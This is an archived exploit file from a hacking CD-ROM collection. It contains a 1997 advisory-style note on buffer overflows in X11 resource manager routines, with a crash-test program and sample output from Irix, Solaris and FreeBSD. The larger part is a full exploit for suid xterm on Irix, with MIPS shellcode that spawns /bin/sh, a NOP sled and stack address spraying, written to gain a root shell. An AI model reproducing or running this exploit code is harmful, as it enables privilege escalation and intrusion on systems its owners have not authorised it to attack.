home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
irix-xterm.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-11-06
|
6KB
|
190 lines
This (and the printer and iwsh) exploit have actually highlighted a
serious problem in the resource manager routines in the X libraries on
all platforms I have access to, and I need time to assess the full
impact of this. From first impressions, it looks like pretty much every
suid program linked against the X libraries which uses the X resource
manager routines is vulnerable to buffer overflow exploits even if the
programs themselves are secure. e.g. I have successfully buffer
overflowed xlockmore-4.02 on FreeBSD, which has been specifically
patched against this problem.
To test the extent of this, compile the following program and run it
with various X suid programs as parameters. If you get a segmentation
fault or bus error, then you are potentially vulnerable.
----------------------- testx.c ---------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void main(int argc, char **argv)
{
char *env[] = {0};
char buffer[18000]; /* Irix has a 20k limit for environment+args */
if (argc < 2)
exit(1);
memset(buffer,'a',sizeof buffer);
buffer[sizeof buffer-1] = '\0';
execle(argv[1], argv[1], "-xrm", buffer, 0, env);
perror("exec failed");
}
---------------------- end testx.c ----------------------
And here we have it in action on Irix:
warlock:~/warlock/src/tmp ->./testx /usr/bin/X11/xterm
zsh: bus error ./testx /usr/bin/X11/xterm
warlock:~/warlock/src/tmp ->./testx /usr/bin/X11/cdplayer
zsh: bus error ./testx /usr/bin/X11/cdplayer
warlock:~/warlock/src/tmp ->./testx /usr/bin/X11/xconsole
zsh: bus error ./testx /usr/bin/X11/xconsole
warlock:~/warlock/src/tmp ->./testx /usr/bin/X11/xlock
Xlib: connection to ":0.0" refused by server
Xlib: Client is not authorized to connect to Server
xlock: unable to open display :0.
warlock:~/warlock/src/tmp ->
here we can see that xlock is not vulnerable to this attack, but the
others potentially are.
On solaris:
maxx:~/tmp ->./testx /usr/dt/bin/dtprintinfo
zsh: bus error ./testx /usr/dt/bin/dtprintinfo
maxx:~/tmp ->./testx /usr/dt/bin/dtaction
zsh: bus error ./testx /usr/dt/bin/dtaction
On XFree86 (tested on FreeBSD 2.2.2):
inferno:~/tmp ->./testx /usr/X11R6/bin/xlock
zsh: segmentation fault ./testx /usr/X11R6/bin/xlock
inferno:~/tmp ->./testx /usr/X11R6/bin/color_xterm
zsh: segmentation fault ./testx /usr/X11R6/bin/color_xterm
inferno:~/tmp ->./testx /usr/X11R6/bin/xterm
zsh: segmentation fault ./testx /usr/X11R6/bin/xterm
---------------------------------------------------------------------------
/* /usr/bin/X11/xterm.c exploit by DCRH 27/5/97
*
* Tested on: R3000 Indigo (Irix 5.3)
* R4400 Indy (Irix 5.3)
* R8000 PChallenge (Irix64 6.2)
* R5000 O2 (Irix 6.3)
*
* compile as: cc xterm.c (Irix 5.3)
* cc -n32 xterm.c (Irix 6.x)
*
* Pass '8' as a parameter for Irix 6.x, or change the OFFSET setting below
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define NUM_ADDRESSES 500
#define BUF_LENGTH 500
#define EXTRA 9000
#define OFFSET 0x170 /* 0x178 for Irix 6.x */
#define GP_OFFSET -0x80
#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
#define u_long unsigned
u_long get_sp_code[] = {
0x03a01025, /* move $v0,$sp */
0x03e00008, /* jr $ra */
0x00000000, /* nop */
};
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x03bd202a, /* sgt $4,$sp,$sp */
0x240203ff, /* li $v0,1023 */
0x03ffffcc, /* syscall 0xfffff */
0x23e40138, /* addi $4,$31,264+48 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f62696e, /* "/bin" */
0x2f7368ff, /* "/sh" */
};
char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
void main(int argc, char **argv)
{
char *env[] = {NULL};
u_long targ_addr, stack, tmp;
u_long *long_p;
int i, code_length = strlen((char *)irix_shellcode)+1;
u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
stack = get_sp();
if (stack & 0x80000000) {
printf("Recompile with the '-32' option\n");
exit(1);
}
long_p =(u_long *) buf;
targ_addr = stack + OFFSET;
if (argc > 1)
targ_addr += atoi(argv[1]);
if (targ_addr + GP_OFFSET > 0x80000000) {
printf("Sorry - this exploit for Irix 6.x only\n");
exit(1);
}
tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
while ((tmp & 0xff000000) == 0 ||
(tmp & 0x00ff0000) == 0 ||
(tmp & 0x0000ff00) == 0 ||
(tmp & 0x000000ff) == 0)
tmp += 4;
for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
*long_p++ = targ_addr;
*long_p++ = targ_addr;
*long_p++ = tmp;
*long_p++ = tmp;
}
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = IRIX_NOP;
for (i = 0; i < code_length/sizeof(u_long); i++)
*long_p++ = irix_shellcode[i];
tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = (tmp >> 8) | (tmp << 24);
*long_p = 0;
printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
execle("/usr/bin/X11/xterm", "xterm", "-xrm", &buf[3], 0, env);
perror("execl failed");
}